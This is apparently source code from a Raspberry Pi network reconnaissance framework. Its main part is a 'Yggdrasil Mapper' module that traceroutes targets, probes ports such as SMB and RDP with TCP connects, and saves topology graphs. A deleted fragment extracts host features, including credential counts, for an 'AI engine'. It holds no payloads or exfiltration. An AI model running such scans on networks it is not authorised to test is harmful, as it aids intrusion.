b_tags = ["topology", "network", "recon", "mapping"]
|
||||
b_category = "recon"
|
||||
b_name = "Yggdrasil Mapper"
|
||||
b_description = (
|
||||
"Network topology mapper that discovers routing paths via traceroute, enriches "
|
||||
"nodes with service data from the DB, and saves a merged JSON topology graph. "
|
||||
"Lightweight -- no matplotlib or networkx required."
|
||||
)
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "YggdrasilMapper.png"
|
||||
|
||||
b_args = {
|
||||
"max_depth": {
|
||||
"type": "slider",
|
||||
"label": "Max trace depth (hops)",
|
||||
"min": 5,
|
||||
"max": 30,
|
||||
"step": 1,
|
||||
"default": 15,
|
||||
"help": "Maximum number of hops for traceroute probes.",
|
||||
},
|
||||
"probe_timeout": {
|
||||
"type": "slider",
|
||||
"label": "Probe timeout (s)",
|
||||
"min": 1,
|
||||
"max": 5,
|
||||
"step": 1,
|
||||
"default": 2,
|
||||
"help": "Timeout in seconds for each ICMP / TCP probe.",
|
||||
},
|
||||
}
|
||||
|
||||
b_examples = [
|
||||
{"max_depth": 15, "probe_timeout": 2},
|
||||
{"max_depth": 10, "probe_timeout": 1},
|
||||
{"max_depth": 30, "probe_timeout": 3},
|
||||
]
|
||||
|
||||
b_docs_url = "docs/actions/YggdrasilMapper.md"
|
||||
|
||||
# -------------------- Constants --------------------
|
||||
_DATA_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "data")
|
||||
OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "topology")
|
||||
|
||||
# Ports to verify during service enrichment (small set to stay Pi Zero friendly).
|
||||
_VERIFY_PORTS = [22, 80, 443, 445, 3389, 8080]
|
||||
|
||||
|
||||
# -------------------- Helpers --------------------
|
||||
|
||||
def _generate_mermaid_topology(topology: Dict[str, Any]) -> str:
|
||||
"""Generate a Mermaid.js diagram string from topology data."""
|
||||
lines = ["graph TD"]
|
||||
|
||||
# Define styles
|
||||
lines.append(" classDef target fill:#f96,stroke:#333,stroke-width:2px;")
|
||||
lines.append(" classDef router fill:#69f,stroke:#333,stroke-width:1px;")
|
||||
lines.append(" classDef unknown fill:#ccc,stroke:#333,stroke-dasharray: 5 5;")
|
||||
|
||||
nodes = topology.get("nodes", {})
|
||||
for node_id, node in nodes.items():
|
||||
label = node.get("hostname") or node.get("ip")
|
||||
node_type = node.get("type", "unknown")
|
||||
|
||||
# Sanitize label for Mermaid
|
||||
safe_label = str(label).replace(" ", "_").replace(".", "_").replace("-", "_")
|
||||
safe_id = node_id.replace(".", "_").replace("*", "unknown").replace("-", "_")
|
||||
|
||||
lines.append(f' {safe_id}["{label}"]')
|
||||
|
||||
if node_type == "target":
|
||||
lines.append(f" class {safe_id} target")
|
||||
elif node_type == "router":
|
||||
lines.append(f" class {safe_id} router")
|
||||
else:
|
||||
lines.append(f" class {safe_id} unknown")
|
||||
|
||||
edges = topology.get("edges", [])
|
||||
for edge in edges:
|
||||
src = str(edge.get("source", "")).replace(".", "_").replace("*", "unknown").replace("-", "_")
|
||||
dst = str(edge.get("target", "")).replace(".", "_").replace("*", "unknown").replace("-", "_")
|
||||
if src and dst:
|
||||
rtt = edge.get("rtt_ms", 0)
|
||||
if rtt > 0:
|
||||
lines.append(f" {src} -- {rtt}ms --> {dst}")
|
||||
else:
|
||||
lines.append(f" {src} --> {dst}")
|
||||
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
def _reverse_dns(ip: str) -> str:
|
||||
"""Best-effort reverse DNS lookup. Returns hostname or empty string."""
|
||||
try:
|
||||
hostname, _, _ = socket.gethostbyaddr(ip)
|
||||
return hostname or ""
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
|
||||
def _tcp_probe(ip: str, port: int, timeout_s: float) -> Tuple[bool, int]:
|
||||
"""
|
||||
Quick TCP connect probe. Returns (is_open, rtt_ms).
|
||||
"""
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(timeout_s)
|
||||
t0 = time.time()
|
||||
try:
|
||||
rc = s.connect_ex((ip, int(port)))
|
||||
rtt_ms = int((time.time() - t0) * 1000)
|
||||
return (rc == 0), rtt_ms
|
||||
except Exception:
|
||||
return False, 0
|
||||
finally:
|
||||
try:
|
||||
s.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def _scapy_traceroute(target: str, max_depth: int, timeout_s: float) -> List[Dict[str, Any]]:
|
||||
"""
|
||||
ICMP traceroute using scapy. Returns list of hop dicts:
|
||||
[{"hop": 1, "ip": "x.x.x.x", "rtt_ms": 12}, ...]
|
||||
"""
|
||||
hops: List[Dict[str, Any]] = []
|
||||
for ttl in range(1, max_depth + 1):
|
||||
pkt = IP(dst=target, ttl=ttl) / ICMP()
|
||||
t0 = time.time()
|
||||
reply = sr1(pkt, timeout=timeout_s, verbose=0)
|
||||
rtt_ms = int((time.time() - t0) * 1000)
|
||||
|
||||
if reply is None:
|
||||
hops.append({"hop": ttl, "ip": "*", "rtt_ms": 0})
|
||||
continue
|
||||
|
||||
src = reply.src
|
||||
hops.append({"hop": ttl, "ip": src, "rtt_ms": rtt_ms})
|
||||
|
||||
# Reached destination
|
||||
if src == target:
|
||||
break
|
||||
|
||||
return hops
|
||||
|
||||
|
||||
def _subprocess_traceroute(target: str, max_depth: int, timeout_s: float) -> List[Dict[str, Any]]:
|
||||
"""
|
||||
Fallback traceroute using the system `traceroute` command.
|
||||
Works on Linux / macOS. On Windows falls back to `tracert`.
|
||||
"""
|
||||
import subprocess
|
||||
import re
|
||||
|
||||
hops: List[Dict[str, Any]] = []
|
||||
|
||||
# Decide command based on platform
|
||||
if os.name == "nt":
|
||||
cmd = ["tracert", "-d", "-h", str(max_depth), "-w", str(int(timeout_s * 1000)), target]
|
||||
else:
|
||||
cmd = ["traceroute", "-n", "-m", str(max_depth), "-w", str(int(timeout_s)), target]
|
||||
|
||||
try:
|
||||
proc = subprocess.run(
|
||||
cmd,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=max_depth * timeout_s + 30,
|
||||
)
|
||||
output = proc.stdout or ""
|
||||
except FileNotFoundError:
|
||||
logger.error("traceroute/tracert command not found on this system")
|
||||
return hops
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.warning(f"Subprocess traceroute to {target} timed out")
|
||||
return hops
|
||||
except Exception as exc:
|
||||
logger.error(f"Subprocess traceroute error: {exc}")
|
||||
return hops
|
||||
|
||||
# Parse output lines
|
||||
ip_pattern = re.compile(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})')
|
||||
rtt_pattern = re.compile(r'(\d+(?:\.\d+)?)\s*ms')
|
||||
hop_num = 0
|
||||
|
||||
for line in output.splitlines():
|
||||
stripped = line.strip()
|
||||
if not stripped:
|
||||
continue
|
||||
|
||||
# Skip header lines
|
||||
parts = stripped.split()
|
||||
if not parts:
|
||||
continue
|
||||
|
||||
# Try to extract hop number from first token
|
||||
try:
|
||||
hop_candidate = int(parts[0])
|
||||
except (ValueError, IndexError):
|
||||
continue
|
||||
|
||||
hop_num = hop_candidate
|
||||
ip_match = ip_pattern.search(stripped)
|
||||
rtt_match = rtt_pattern.search(stripped)
|
||||
|
||||
hop_ip = ip_match.group(1) if ip_match else "*"
|
||||
hop_rtt = int(float(rtt_match.group(1))) if rtt_match else 0
|
||||
|
||||
hops.append({"hop": hop_num, "ip": hop_ip, "rtt_ms": hop_rtt})
|
||||
|
||||
# Stop if we reached the target
|
||||
if hop_ip == target:
|
||||
break
|
||||
|
||||
return hops
|
||||
|
||||
|
||||
def _load_existing_topology(output_dir: str) -> Dict[str, Any]:
|
||||
"""
|
||||
Load the most recent aggregated topology JSON from output_dir.
|
||||
Returns an empty topology skeleton if nothing exists yet.
|
||||
"""
|
||||
skeleton: Dict[str, Any] = {
|
||||
"version": b_version,
|
||||
"nodes": {},
|
||||
"edges": [],
|
||||
"metadata": {
|
||||
"created": datetime.utcnow().isoformat() + "Z",
|
||||
"updated": datetime.utcnow().isoformat() + "Z",
|
||||
"run_count": 0,
|
||||
},
|
||||
}
|
||||
|
||||
if not os.path.isdir(output_dir):
|
||||
return skeleton
|
||||
|
||||
# Find the latest aggregated file
|
||||
candidates = []
|
||||
try:
|
||||
for fname in os.listdir(output_dir):
|
||||
if fname.startswith("topology_aggregate") and fname.endswith(".json"):
|
||||
fpath = os.path.join(output_dir, fname)
|
||||
candidates.append((os.path.getmtime(fpath), fpath))
|
||||
except Exception:
|
||||
return skeleton
|
||||
|
||||
if not candidates:
|
||||
return skeleton
|
||||
|
||||
candidates.sort(reverse=True)
|
||||
latest_path = candidates[0][1]
|
||||
|
||||
try:
|
||||
with open(latest_path, "r", encoding="utf-8") as fh:
|
||||
data = json.load(fh)
|
||||
if isinstance(data, dict) and "nodes" in data:
|
||||
return data
|
||||
except Exception as exc:
|
||||
logger.warning(f"Failed to load existing topology ({latest_path}): {exc}")
|
||||
|
||||
return skeleton
|
||||
|
||||
|
||||
def _merge_node(existing: Dict[str, Any], new: Dict[str, Any]) -> Dict[str, Any]:
|
||||
"""Merge two node dicts, preferring newer / non-empty values."""
|
||||
merged = dict(existing)
|
||||
for key, val in new.items():
|
||||
if val is None or val == "" or val == []:
|
||||
continue
|
||||
if key == "open_ports":
|
||||
# Union of port lists
|
||||
old_ports = set(merged.get("open_ports") or [])
|
||||
old_ports.update(val if isinstance(val, list) else [])
|
||||
merged["open_ports"] = sorted(old_ports)
|
||||
elif key == "rtt_ms":
|
||||
# Keep lowest non-zero RTT
|
||||
old_rtt = merged.get("rtt_ms") or 0
|
||||
new_rtt = val or 0
|
||||
if old_rtt == 0:
|
||||
merged["rtt_ms"] = new_rtt
|
||||
elif new_rtt > 0:
|
||||
merged["rtt_ms"] = min(old_rtt, new_rtt)
|
||||
else:
|
||||
merged[key] = val
|
||||
merged["last_seen"] = datetime.utcnow().isoformat() + "Z"
|
||||
return merged
|
||||
|
||||
|
||||
def _edge_key(src: str, dst: str) -> str:
|
||||
"""Canonical edge key (sorted to avoid duplicates)."""
|
||||
a, b = sorted([src, dst])
|
||||
return f"{a}--{b}"
|
||||
|
||||
|
||||
# -------------------- Main Action Class --------------------
|
||||
|
||||
class YggdrasilMapper:
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
# ---- Phase 1: Traceroute ----
|
||||
def _phase_traceroute(
|
||||
self,
|
||||
ip: str,
|
||||
max_depth: int,
|
||||
probe_timeout: float,
|
||||
progress: ProgressTracker,
|
||||
total_steps: int,
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""Run traceroute to target. Returns list of hop dicts."""
|
||||
logger.info(f"Phase 1: Traceroute to {ip} (max_depth={max_depth})")
|
||||
|
||||
if _SCAPY_AVAILABLE:
|
||||
hops = _scapy_traceroute(ip, max_depth, probe_timeout)
|
||||
else:
|
||||
hops = _subprocess_traceroute(ip, max_depth, probe_timeout)
|
||||
|
||||
# Progress: phase 1 is 0-30% (weight = 30% of total_steps)
|
||||
phase1_steps = max(1, int(total_steps * 0.30))
|
||||
progress.advance(phase1_steps)
|
||||
|
||||
logger.info(f"Traceroute to {ip}: {len(hops)} hop(s) discovered")
|
||||
return hops
|
||||
|
||||
# ---- Phase 2: Service Enrichment ----
|
||||
def _phase_enrich(
|
||||
self,
|
||||
ip: str,
|
||||
mac: str,
|
||||
row: Dict[str, Any],
|
||||
probe_timeout: float,
|
||||
progress: ProgressTracker,
|
||||
total_steps: int,
|
||||
) -> Dict[str, Any]:
|
||||
"""
|
||||
Enrich the target node with port / service data from the DB and
|
||||
optional TCP connect probes.
|
||||
"""
|
||||
logger.info(f"Phase 2: Service enrichment for {ip}")
|
||||
|
||||
node_info: Dict[str, Any] = {
|
||||
"ip": ip,
|
||||
"mac": mac,
|
||||
"hostname": "",
|
||||
"open_ports": [],
|
||||
"verified_ports": {},
|
||||
"vendor": "",
|
||||
}
|
||||
|
||||
# Read hostname
|
||||
hostname = (row.get("Hostname") or row.get("hostname") or row.get("hostnames") or "").strip()
|
||||
if ";" in hostname:
|
||||
hostname = hostname.split(";", 1)[0].strip()
|
||||
if not hostname:
|
||||
hostname = _reverse_dns(ip)
|
||||
node_info["hostname"] = hostname
|
||||
|
||||
# Query DB for known ports to prioritize probing
|
||||
db_ports = []
|
||||
host_data = None
|
||||
try:
|
||||
host_data = self.shared_data.db.get_host_by_mac(mac)
|
||||
if host_data and host_data.get("ports"):
|
||||
# Normalize ports from DB string
|
||||
db_ports = [int(p) for p in str(host_data["ports"]).split(";") if p.strip().isdigit()]
|
||||
except Exception as e:
|
||||
logger.debug(f"Failed to query DB for host ports: {e}")
|
||||
|
||||
# Fallback to defaults if DB is empty
|
||||
if not db_ports:
|
||||
# Read existing ports from DB row (compatibility)
|
||||
ports_txt = str(row.get("Ports") or row.get("ports") or "")
|
||||
for p in ports_txt.split(";"):
|
||||
p = p.strip()
|
||||
if p.isdigit():
|
||||
db_ports.append(int(p))
|
||||
|
||||
node_info["open_ports"] = sorted(set(db_ports))
|
||||
|
||||
# Vendor and OS guessing
|
||||
vendor = str(row.get("Vendor") or row.get("vendor") or "").strip()
|
||||
if not vendor and host_data:
|
||||
vendor = host_data.get("vendor", "")
|
||||
node_info["vendor"] = vendor
|
||||
|
||||
# Guess OS if missing (leveraging FeatureLogger patterns if we had access, but we'll do basic here)
|
||||
# For now, we'll just store what we have.
|
||||
|
||||
# Verify a small set of key ports via TCP connect
|
||||
verified: Dict[str, Dict[str, Any]] = {}
|
||||
# Prioritize ports we found in DB + a few common ones
|
||||
probe_candidates = sorted(set(db_ports + _VERIFY_PORTS))[:10]
|
||||
|
||||
for port in probe_candidates:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
break
|
||||
is_open, rtt = _tcp_probe(ip, port, probe_timeout)
|
||||
if is_open:
|
||||
verified[str(port)] = {"open": is_open, "rtt_ms": rtt}
|
||||
# Update node_info open_ports if we found a new one
|
||||
if port not in node_info["open_ports"]:
|
||||
node_info["open_ports"].append(port)
|
||||
node_info["open_ports"].sort()
|
||||
|
||||
node_info["verified_ports"] = verified
|
||||
|
||||
# Progress: phase 2 is 30-60%
|
||||
phase2_steps = max(1, int(total_steps * 0.30))
|
||||
progress.advance(phase2_steps)
|
||||
self.shared_data.log_milestone(b_class, "Enrichment", f"Discovered {len(node_info['open_ports'])} ports for {ip}")
|
||||
return node_info
|
||||
|
||||
# ---- Phase 3: Build Topology ----
|
||||
def _phase_build_topology(
|
||||
self,
|
||||
ip: str,
|
||||
hops: List[Dict[str, Any]],
|
||||
target_node: Dict[str, Any],
|
||||
progress: ProgressTracker,
|
||||
total_steps: int,
|
||||
) -> Tuple[Dict[str, Dict[str, Any]], List[Dict[str, Any]]]:
|
||||
"""
|
||||
Build nodes dict and edges list from traceroute hops and target enrichment.
|
||||
"""
|
||||
logger.info(f"Phase 3: Building topology graph for {ip}")
|
||||
|
||||
nodes: Dict[str, Dict[str, Any]] = {}
|
||||
edges: List[Dict[str, Any]] = []
|
||||
|
||||
# Add target node
|
||||
nodes[ip] = {
|
||||
"ip": ip,
|
||||
"type": "target",
|
||||
"hostname": target_node.get("hostname", ""),
|
||||
"mac": target_node.get("mac", ""),
|
||||
"vendor": target_node.get("vendor", ""),
|
||||
"open_ports": target_node.get("open_ports", []),
|
||||
"verified_ports": target_node.get("verified_ports", {}),
|
||||
"rtt_ms": 0,
|
||||
"first_seen": datetime.utcnow().isoformat() + "Z",
|
||||
"last_seen": datetime.utcnow().isoformat() + "Z",
|
||||
}
|
||||
|
||||
# Add hop nodes and edges
|
||||
prev_ip: Optional[str] = None
|
||||
for hop in hops:
|
||||
hop_ip = hop.get("ip", "*")
|
||||
hop_rtt = hop.get("rtt_ms", 0)
|
||||
hop_num = hop.get("hop", 0)
|
||||
|
||||
if hop_ip == "*":
|
||||
# Unknown hop -- still create a placeholder node
|
||||
placeholder = f"*_hop{hop_num}"
|
||||
nodes[placeholder] = {
|
||||
"ip": placeholder,
|
||||
"type": "unknown_hop",
|
||||
"hostname": "",
|
||||
"mac": "",
|
||||
"vendor": "",
|
||||
"open_ports": [],
|
||||
"verified_ports": {},
|
||||
"rtt_ms": 0,
|
||||
"hop_number": hop_num,
|
||||
"first_seen": datetime.utcnow().isoformat() + "Z",
|
||||
"last_seen": datetime.utcnow().isoformat() + "Z",
|
||||
}
|
||||
if prev_ip is not None:
|
||||
edges.append({
|
||||
"source": prev_ip,
|
||||
"target": placeholder,
|
||||
"hop": hop_num,
|
||||
"rtt_ms": hop_rtt,
|
||||
"discovered": datetime.utcnow().isoformat() + "Z",
|
||||
})
|
||||
prev_ip = placeholder
|
||||
continue
|
||||
|
||||
# Real hop IP
|
||||
if hop_ip not in nodes:
|
||||
hop_hostname = _reverse_dns(hop_ip)
|
||||
nodes[hop_ip] = {
|
||||
"ip": hop_ip,
|
||||
"type": "router" if hop_ip != ip else "target",
|
||||
"hostname": hop_hostname,
|
||||
"mac": "",
|
||||
"vendor": "",
|
||||
"open_ports": [],
|
||||
"verified_ports": {},
|
||||
"rtt_ms": hop_rtt,
|
||||
"hop_number": hop_num,
|
||||
"first_seen": datetime.utcnow().isoformat() + "Z",
|
||||
"last_seen": datetime.utcnow().isoformat() + "Z",
|
||||
}
|
||||
else:
|
||||
# Update RTT if this hop is lower
|
||||
existing_rtt = nodes[hop_ip].get("rtt_ms") or 0
|
||||
if existing_rtt == 0 or (hop_rtt > 0 and hop_rtt < existing_rtt):
|
||||
nodes[hop_ip]["rtt_ms"] = hop_rtt
|
||||
|
||||
if prev_ip is not None:
|
||||
edges.append({
|
||||
"source": prev_ip,
|
||||
"target": hop_ip,
|
||||
"hop": hop_num,
|
||||
"rtt_ms": hop_rtt,
|
||||
"discovered": datetime.utcnow().isoformat() + "Z",
|
||||
})
|
||||
|
||||
prev_ip = hop_ip
|
||||
|
||||
# Progress: phase 3 is 60-80% (weight = 20% of total_steps)
|
||||
phase3_steps = max(1, int(total_steps * 0.20))
|
||||
progress.advance(phase3_steps)
|
||||
|
||||
logger.info(f"Topology for {ip}: {len(nodes)} node(s), {len(edges)} edge(s)")
|
||||
return nodes, edges
|
||||
|
||||
# ---- Phase 4: Aggregate ----
|
||||
def _phase_aggregate(
|
||||
self,
|
||||
new_nodes: Dict[str, Dict[str, Any]],
|
||||
new_edges: List[Dict[str, Any]],
|
||||
progress: ProgressTracker,
|
||||
total_steps: int,
|
||||
) -> Dict[str, Any]:
|
||||
"""
|
||||
Merge new topology data with previous runs.
|
||||
"""
|
||||
logger.info("Phase 4: Aggregating topology data")
|
||||
|
||||
topology = _load_existing_topology(OUTPUT_DIR)
|
||||
|
||||
# Merge nodes
|
||||
existing_nodes = topology.get("nodes") or {}
|
||||
if not isinstance(existing_nodes, dict):
|
||||
existing_nodes = {}
|
||||
|
||||
for node_id, node_data in new_nodes.items():
|
||||
if node_id in existing_nodes:
|
||||
existing_nodes[node_id] = _merge_node(existing_nodes[node_id], node_data)
|
||||
else:
|
||||
existing_nodes[node_id] = node_data
|
||||
|
||||
topology["nodes"] = existing_nodes
|
||||
|
||||
# Merge edges (deduplicate by canonical key)
|
||||
existing_edges = topology.get("edges") or []
|
||||
if not isinstance(existing_edges, list):
|
||||
existing_edges = []
|
||||
|
||||
seen_keys: set = set()
|
||||
merged_edges: List[Dict[str, Any]] = []
|
||||
|
||||
for edge in existing_edges:
|
||||
ek = _edge_key(str(edge.get("source", "")), str(edge.get("target", "")))
|
||||
if ek not in seen_keys:
|
||||
seen_keys.add(ek)
|
||||
merged_edges.append(edge)
|
||||
|
||||
for edge in new_edges:
|
||||
ek = _edge_key(str(edge.get("source", "")), str(edge.get("target", "")))
|
||||
if ek not in seen_keys:
|
||||
seen_keys.add(ek)
|
||||
merged_edges.append(edge)
|
||||
|
||||
topology["edges"] = merged_edges
|
||||
|
||||
# Update metadata
|
||||
meta = topology.get("metadata") or {}
|
||||
meta["updated"] = datetime.utcnow().isoformat() + "Z"
|
||||
meta["run_count"] = int(meta.get("run_count") or 0) + 1
|
||||
meta["node_count"] = len(existing_nodes)
|
||||
meta["edge_count"] = len(merged_edges)
|
||||
topology["metadata"] = meta
|
||||
topology["version"] = b_version
|
||||
|
||||
# Progress: phase 4 is 80-95% (weight = 15% of total_steps)
|
||||
phase4_steps = max(1, int(total_steps * 0.15))
|
||||
progress.advance(phase4_steps)
|
||||
|
||||
logger.info(
|
||||
f"Aggregated topology: {meta['node_count']} node(s), "
|
||||
f"{meta['edge_count']} edge(s), run #{meta['run_count']}"
|
||||
)
|
||||
return topology
|
||||
|
||||
# ---- Phase 5: Save ----
|
||||
def _phase_save(
|
||||
self,
|
||||
topology: Dict[str, Any],
|
||||
ip: str,
|
||||
progress: ProgressTracker,
|
||||
total_steps: int,
|
||||
) -> str:
|
||||
"""
|
||||
Save topology JSON to disk. Returns the file path written.
|
||||
"""
|
||||
logger.info("Phase 5: Saving topology data")
|
||||
|
||||
os.makedirs(OUTPUT_DIR, exist_ok=True)
|
||||
timestamp = datetime.utcnow().strftime("%Y-%m-%dT%H-%M-%SZ")
|
||||
|
||||
# Per-target snapshot
|
||||
snapshot_name = f"topology_{ip.replace('.', '_')}_{timestamp}.json"
|
||||
snapshot_path = os.path.join(OUTPUT_DIR, snapshot_name)
|
||||
|
||||
# Aggregated file (single canonical file, overwritten each run)
|
||||
aggregate_name = f"topology_aggregate_{timestamp}.json"
|
||||
aggregate_path = os.path.join(OUTPUT_DIR, aggregate_name)
|
||||
|
||||
try:
|
||||
with open(snapshot_path, "w", encoding="utf-8") as fh:
|
||||
json.dump(topology, fh, indent=2, ensure_ascii=True, default=str)
|
||||
logger.info(f"Snapshot saved: {snapshot_path}")
|
||||
except Exception as exc:
|
||||
logger.error(f"Failed to write snapshot {snapshot_path}: {exc}")
|
||||
|
||||
try:
|
||||
with open(aggregate_path, "w", encoding="utf-8") as fh:
|
||||
json.dump(topology, fh, indent=2, ensure_ascii=True, default=str)
|
||||
logger.info(f"Aggregate saved: {aggregate_path}")
|
||||
except Exception as exc:
|
||||
logger.error(f"Failed to write aggregate {aggregate_path}: {exc}")
|
||||
|
||||
# Save Mermaid diagram
|
||||
mermaid_path = os.path.join(OUTPUT_DIR, f"topology_{ip.replace('.', '_')}_{timestamp}.mermaid")
|
||||
try:
|
||||
mermaid_str = _generate_mermaid_topology(topology)
|
||||
with open(mermaid_path, "w", encoding="utf-8") as fh:
|
||||
fh.write(mermaid_str)
|
||||
logger.info(f"Mermaid topology saved: {mermaid_path}")
|
||||
except Exception as exc:
|
||||
logger.error(f"Failed to write Mermaid topology: {exc}")
|
||||
|
||||
# Progress: phase 5 is 95-100% (weight = 5% of total_steps)
|
||||
phase5_steps = max(1, int(total_steps * 0.05))
|
||||
progress.advance(phase5_steps)
|
||||
self.shared_data.log_milestone(b_class, "Save", f"Topology saved for {ip}")
|
||||
|
||||
return aggregate_path
|
||||
|
||||
# ---- Main execute ----
|
||||
def execute(self, ip, port, row, status_key) -> str:
|
||||
"""
|
||||
Orchestrator entry point. Maps topology for a single target host.
|
||||
|
||||
Returns:
|
||||
'success' -- topology data written successfully.
|
||||
'failed' -- an error prevented meaningful output.
|
||||
'interrupted' -- orchestrator requested early exit.
|
||||
"""
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
# --- Identity cache from DB row ---
|
||||
mac = (
|
||||
row.get("MAC Address")
|
||||
or row.get("mac_address")
|
||||
or row.get("mac")
|
||||
or ""
|
||||
).strip()
|
||||
hostname = (
|
||||
row.get("Hostname")
|
||||
or row.get("hostname")
|
||||
or row.get("hostnames")
|
||||
or ""
|
||||
).strip()
|
||||
if ";" in hostname:
|
||||
hostname = hostname.split(";", 1)[0].strip()
|
||||
|
||||
# --- Configurable arguments ---
|
||||
max_depth = int(getattr(self.shared_data, "yggdrasil_max_depth", 15))
|
||||
probe_timeout = float(getattr(self.shared_data, "yggdrasil_probe_timeout", 2.0))
|
||||
|
||||
# Clamp to sane ranges
|
||||
max_depth = max(5, min(max_depth, 30))
|
||||
probe_timeout = max(1.0, min(probe_timeout, 5.0))
|
||||
|
||||
# --- UI status ---
|
||||
self.shared_data.bjorn_orch_status = "yggdrasil_mapper"
|
||||
self.shared_data.bjorn_status_text2 = f"{ip}"
|
||||
self.shared_data.comment_params = {"ip": ip, "mac": mac, "phase": "init"}
|
||||
|
||||
# Total steps for progress (arbitrary units; phases will consume proportional slices)
|
||||
total_steps = 100
|
||||
progress = ProgressTracker(self.shared_data, total_steps)
|
||||
|
||||
try:
|
||||
# ---- Phase 1: Traceroute (0-30%) ----
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
self.shared_data.log_milestone(b_class, "Traceroute", f"Running trace to {ip}")
|
||||
hops = self._phase_traceroute(ip, max_depth, probe_timeout, progress, total_steps)
|
||||
|
||||
# ---- Phase 2: Service Enrichment (30-60%) ----
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "enrich"}
|
||||
target_node = self._phase_enrich(ip, mac, row, probe_timeout, progress, total_steps)
|
||||
|
||||
# ---- Phase 3: Build Topology (60-80%) ----
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "topology"}
|
||||
new_nodes, new_edges = self._phase_build_topology(
|
||||
ip, hops, target_node, progress, total_steps
|
||||
)
|
||||
|
||||
# ---- Phase 4: Aggregate (80-95%) ----
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "aggregate"}
|
||||
topology = self._phase_aggregate(new_nodes, new_edges, progress, total_steps)
|
||||
|
||||
# ---- Phase 5: Save (95-100%) ----
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
return "interrupted"
|
||||
|
||||
self.shared_data.comment_params = {"ip": ip, "phase": "save"}
|
||||
saved_path = self._phase_save(topology, ip, progress, total_steps)
|
||||
|
||||
# Final UI update
|
||||
node_count = len(topology.get("nodes") or {})
|
||||
edge_count = len(topology.get("edges") or [])
|
||||
hop_count = len([h for h in hops if h.get("ip") != "*"])
|
||||
|
||||
self.shared_data.comment_params = {
|
||||
"ip": ip,
|
||||
"hops": str(hop_count),
|
||||
"nodes": str(node_count),
|
||||
"edges": str(edge_count),
|
||||
"file": os.path.basename(saved_path),
|
||||
}
|
||||
|
||||
progress.set_complete()
|
||||
logger.info(
|
||||
f"YggdrasilMapper complete for {ip}: "
|
||||
f"{hop_count} hops, {node_count} nodes, {edge_count} edges"
|
||||
)
|
||||
return "success"
|
||||
|
||||
except Exception as exc:
|
||||
logger.error(f"YggdrasilMapper failed for {ip}: {exc}", exc_info=True)
|
||||
self.shared_data.comment_params = {"ip": ip, "error": str(exc)[:120]}
|
||||
return "failed"
|
||||
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
self.shared_data.bjorn_status_text2 = ""
|
||||
|
||||
|
||||
# -------------------- Optional CLI (debug / manual) --------------------
|
||||
if __name__ == "__main__":
|
||||
import argparse
|
||||
from shared import SharedData
|
||||
|
||||
parser = argparse.ArgumentParser(description="YggdrasilMapper (network topology mapper)")
|
||||
parser.add_argument("--ip", required=True, help="Target IP to trace")
|
||||
parser.add_argument("--max-depth", type=int, default=15, help="Max traceroute depth")
|
||||
parser.add_argument("--timeout", type=float, default=2.0, help="Probe timeout in seconds")
|
||||
args = parser.parse_args()
|
||||
|
||||
sd = SharedData()
|
||||
|
||||
# Push CLI args into shared_data so execute() picks them up
|
||||
sd.yggdrasil_max_depth = args.max_depth
|
||||
sd.yggdrasil_probe_timeout = args.timeout
|
||||
|
||||
mapper = YggdrasilMapper(sd)
|
||||
row = {
|
||||
"MAC Address": getattr(sd, "get_raspberry_mac", lambda: "__GLOBAL__")() or "__GLOBAL__",
|
||||
"Hostname": "",
|
||||
"Ports": "",
|
||||
}
|
||||
result = mapper.execute(args.ip, None, row, "yggdrasil_mapper")
|
||||
print(f"Result: {result}")
|
||||
@@ -1,97 +0,0 @@
|
||||
"""ai_utils.py - Shared feature extraction and encoding helpers for the AI engine."""
|
||||
|
||||
import json
|
||||
import numpy as np
|
||||
from typing import Dict, List, Any, Optional
|
||||
|
||||
def extract_neural_features_dict(host_features: Dict[str, Any], network_features: Dict[str, Any], temporal_features: Dict[str, Any], action_features: Dict[str, Any]) -> Dict[str, float]:
|
||||
"""
|
||||
Extracts all available features as a named dictionary.
|
||||
This allows the model to select exactly what it needs by name.
|
||||
"""
|
||||
f = {}
|
||||
|
||||
# 1. Host numericals
|
||||
f['host_port_count'] = float(host_features.get('port_count', 0))
|
||||
f['host_service_count'] = float(host_features.get('service_count', 0))
|
||||
f['host_ip_count'] = float(host_features.get('ip_count', 0))
|
||||
f['host_credential_count'] = float(host_features.get('credential_count', 0))
|
||||
f['host_age_hours'] = float(host_features.get('age_hours', 0))
|
||||
|
||||
# 2. Host Booleans
|
||||
f['has_ssh'] = 1.0 if host_features.get('has_ssh') else 0.0
|
||||
f['has_http'] = 1.0 if host_features.get('has_http') else 0.0
|
||||
f['has_https'] = 1.0 if host_features.get('has_https') else 0.0
|
||||
f['has_smb'] = 1.0 if host_features.get('has_smb') else 0.0
|
||||
f['has_rdp'] = 1.0 if host_features.get('has_rdp') else 0.0
|
||||
f['has_database'] = 1.0 if host_features.get('has_database') else 0.0
|
||||
f['has_credentials'] = 1.0 if host_features.get('has_credentials') else 0.0
|
||||
f['is_new'] = 1.0 if host_features.get('is_new') else 0.0
|
||||
